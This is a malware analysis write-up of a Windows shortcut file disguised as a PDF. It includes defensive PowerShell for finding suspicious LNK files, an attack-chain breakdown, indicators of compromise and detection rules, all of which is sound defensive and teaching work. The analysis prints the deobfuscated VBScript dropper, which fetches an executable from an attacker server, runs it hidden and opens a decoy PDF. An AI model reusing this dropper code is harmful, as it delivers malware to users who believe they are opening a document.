Malware Reverse Engineering

LNK Dropper Analysis

Sample: Black_Hat_Python.pdf.lnk Captured: August 2026

// What is this?

Pulling apart a real malicious shortcut to see exactly how it executes its payload.

A malicious LNK file looks like a normal Windows shortcut. Inside, it hides a command that runs when the shortcut is opened. This analysis walks through extracting the embedded command, identifying the payload delivery mechanism, and tracing what the dropper does after execution — file writes, registry changes, network connections.

PowerShell — LNK Analysis

→ Blue Team

# Parse LNK target (requires COM)
$shell = New-Object -ComObject WScript.Shell
$lnk = $shell.CreateShortcut("C:\path\to\file.lnk")  # EDIT: change path
$lnk | Select-Object TargetPath, Arguments, IconLocation, WorkingDirectory

# Find LNK files in Downloads/Desktop
Get-ChildItem "$env:USERPROFILE\Downloads","$env:USERPROFILE\Desktop" -Filter *.lnk -Recurse -ErrorAction SilentlyContinue

# Recent LNK files (potentially malicious)
Get-ChildItem "$env:USERPROFILE" -Filter *.lnk -Recurse -Force -ErrorAction SilentlyContinue |
  Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-7) } |
  Select-Object FullName, CreationTime

If this flags: LNK targeting mshta.exe, powershell.exe, cmd.exe, or URLs are malicious. Check Arguments field for encoded commands or download URLs.

What Is This?

You downloaded what looks like a PDF. You double-clicked it. A PDF opened - everything looks normal. But in the background, malware just installed itself on your computer. You have no idea.

This is a real attack sample. It uses a Windows shortcut file (.lnk) disguised as a PDF to deliver malware while showing you a legitimate document as cover.

Why You Need To Know This

This is how people actually get hacked. Not through some movie-style hacking scene - through clicking a file that looked safe.

Windows hides the .lnk extension by default. So "Black_Hat_Python.pdf.lnk" shows up as "Black_Hat_Python.pdf" with an Adobe icon. Most people would click it without thinking.

Understanding this technique helps you:

Recognize suspicious files before clicking them
Know why "it looked like a PDF" isn't a defense
Build detection rules for your organization

Sample Overview

At a Glance

Filename: Black_Hat_Python.pdf.lnk

Disguise: Adobe Acrobat icon (looks like a PDF)

Target: C:\Windows\System32\cmd.exe

Technique: LNK file abuse + VBScript dropper + decoy document

Attack Chain

User Clicks "PDF"

Victim sees what appears to be Black_Hat_Python.pdf but it's actually a .lnk shortcut with an Adobe icon overlay.

LNK Executes cmd.exe

The shortcut's target is cmd.exe with embedded arguments that build a VBScript file dynamically.

VBScript Downloads Payload

The script uses MSXML2.XMLHTTP to fetch PSHost.exe from attacker server (203.0.113.47:8081).

Implant Executed Silently

PSHost.exe runs with window style 0 (hidden). User doesn't see anything suspicious.

Decoy PDF Opens

Legitimate decoy.pdf opens in the foreground. User thinks they just opened a normal PDF.

Live Demo

Watch the full attack chain in action — from clicking the "PDF" to payload execution:

Extracted Payload (Deobfuscated)

The LNK arguments contain a series of echo statements that build a VBScript dropper:

' Stage 1: Download implant via XMLHTTP
Set o = CreateObject("MSXML2.XMLHTTP")
o.Open "GET", "http://203.0.113.47:8081/PSHost.exe", False
o.Send

' Stage 2: Write to %TEMP%
Set s = CreateObject("ADODB.Stream")
s.Type = 1
s.Open
s.Write o.responseBody
s.SaveToFile "%TEMP%\PSHost.exe", 2
s.Close

' Stage 3: Execute hidden (windowstyle 0)
CreateObject("WScript.Shell").Run "%TEMP%\PSHost.exe", 0, False

' Stage 4: Download and open decoy PDF
o.Open "GET", "http://203.0.113.47:8081/blackhat.pdf", False
o.Send
' ... save as decoy.pdf and open ...

Understanding the HTTP request: The malware uses GET requests to download payloads. Here's how attackers abuse HTTP methods for payload delivery and data exfiltration:

Key Techniques

LNK File Abuse

Windows shortcuts can contain arguments for the target executable. By setting the icon to Adobe Acrobat and using a .pdf.lnk filename (Windows hides .lnk extension by default), the file appears to be a legitimate PDF.

Echo-Based Script Building

Instead of dropping a pre-made script, cmd.exe uses multiple echo statements piped to a file. This can evade static signature matching that looks for complete VBScript code.

MSXML2.XMLHTTP for Download

A COM object native to Windows. No PowerShell needed. Bypasses some application whitelisting controls that focus on PS execution.

Indicators of Compromise

Network IOCs

C2 Server: 203.0.113.47:8081

Payload URL: /PSHost.exe

Decoy URL: /blackhat.pdf

Host IOCs

Dropped File: %TEMP%\PSHost.exe

VBS Script: %TEMP%\x.vbs (deleted after execution)

Decoy: %TEMP%\decoy.pdf

Icon Source: %ProgramFiles%\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Detection Opportunities

Defense Strategies

LNK Target Monitoring: Alert on .lnk files where target is cmd.exe or powershell.exe

Process Chain: cmd.exe > wscript.exe (VBS execution)

Network: HTTP requests to non-standard ports (8081) from wscript.exe

File Write: EXE files written to %TEMP% by scripting engines

Live Infrastructure Warning

Infrastructure details have been redacted. These IOCs are provided for educational purposes to demonstrate the attack pattern.